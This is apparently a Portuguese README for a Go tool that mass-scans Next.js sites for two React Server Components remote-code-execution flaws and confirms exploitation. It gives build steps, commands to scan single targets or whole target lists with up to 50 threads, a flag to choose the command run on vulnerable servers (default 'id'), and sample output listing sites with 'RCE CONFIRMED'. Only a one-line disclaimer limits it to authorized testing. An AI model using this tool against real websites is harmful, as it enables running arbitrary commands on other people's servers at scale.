
Scanner rápido para detectar e confirmar vulnerabilidades RCE do Next.js (CVE-2025-55182 & CVE-2025-66478).
Scanner rápido de vulnerabilidades para CVE-2025-55182 e CVE-2025-66478 em aplicações Next.js que usam React Server Components. Suporta varredura em massa, confirmação de RCE e verificações concorrentes de alto desempenho.
git clone https://github.com/cypholab/evilact.git
cd evilact
go build -o scanner main.go
# Single URL
./scanner -url https://target.com
# Multiple URLs from file
./scanner -file targets.txt
# With RCE confirmation
./scanner -url https://target.com -confirm-rce
# Fast scan with 50 threads
./scanner -file targets.txt -threads 50
-url URL de destino única
-file Arquivo com URLs (uma por linha)
-c Comando a executar (padrão: id)
-threads Número de threads (padrão: 10)
-confirm-rce Confirmar execução de RCE
-check-only Modo de verificação segura
-v Saída detalhada
-t Timeout em segundos (padrão: 10)
./scanner -file targets.txt -threads 20 -confirm-rce
[SCANNER] Loaded 100 URLs
[SCANNER] [VULNERABLE + RCE CONFIRMED] https://site1.com - Status: 303 (0.18s)
[SCANNER] [NOT VULNERABLE] https://site2.com - Status: 200 (0.15s)
Scanned 100 targets: 5 vulnerable, 5 RCE confirmed, 95 secure, 0 errors
Vulnerable targets:
- https://site1.com [RCE CONFIRMED]
- https://site3.com [RCE CONFIRMED]
Apenas para testes autorizados. O uso ilegal é proibido.